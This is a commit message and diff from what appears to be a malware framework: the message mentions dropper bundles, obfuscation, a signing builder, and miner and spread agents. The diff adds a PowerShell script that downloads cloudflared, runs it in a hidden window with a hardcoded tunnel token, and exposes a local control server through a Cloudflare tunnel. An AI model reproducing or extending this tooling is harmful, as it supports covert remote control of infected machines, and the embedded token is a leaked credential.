fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

scripts/usb-start-cloudflared.ps1

@@ -0,0 +1,52 @@
+# Starts cloudflared tunnel run --token for portable USB / LAUNCH.bat.
+param(
+    [Parameter(Mandatory = $true)][string]$DeckRoot
+)
+
+$ErrorActionPreference = 'Stop'
+$token = $env:AF_TUNNEL_TOKEN
+if (-not $token) {
+    $sidecar = Join-Path $DeckRoot 'data\cloudflared-token.txt'
+    if (Test-Path -LiteralPath $sidecar) {
+        $token = (Get-Content -LiteralPath $sidecar -Raw).Trim()
+    }
+}
+if (-not $token) {
+    $cfgPath = Join-Path $DeckRoot 'data\config.json'
+    if (Test-Path -LiteralPath $cfgPath) {
+        try {
+            $cfg = Get-Content -LiteralPath $cfgPath -Raw | ConvertFrom-Json
+            $token = [string]$cfg.tunnel_defaults.cloudflare_tunnel_token
+            $token = $token.Trim().Trim('"')
+        } catch { }
+    }
+}
+if (-not $token) {
+    # Builtin fallback (matches server/config.go builtinCloudflareTunnelToken)
+    $token = 'eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9'
+}
+
+$bin = Join-Path $DeckRoot 'tools\cloudflared.exe'
+if (-not (Test-Path -LiteralPath $bin)) {
+    New-Item -ItemType Directory -Force -Path (Split-Path -LiteralPath $bin) | Out-Null
+    Write-Host '[Tunnel] Downloading cloudflared.exe...'
+    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
+    Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $bin
+}
+
+$pidFile = Join-Path $DeckRoot 'data\cloudflared.pid'
+$existing = Get-Process -Name 'cloudflared' -ErrorAction SilentlyContinue
+if ($existing) {
+    Write-Host "[Tunnel] cloudflared already running (pid $($existing.Id))"
+    exit 0
+}
+
+Write-Host '[Tunnel] Starting Cloudflare connector...'
+$p = Start-Process -FilePath $bin -ArgumentList @('tunnel', '--no-autoupdate', 'run', '--token', $token) -WindowStyle Hidden -PassThru
+Set-Content -LiteralPath $pidFile -Value $p.Id -Encoding ascii
+Start-Sleep -Seconds 2
+if ($p.HasExited) {
+    Write-Host '[Tunnel] WARNING: cloudflared exited immediately — check token and Cloudflare tunnel service URL (http://localhost:8989)'
+    exit 1
+}
+Write-Host "[Tunnel] Connector running (pid $($p.Id))"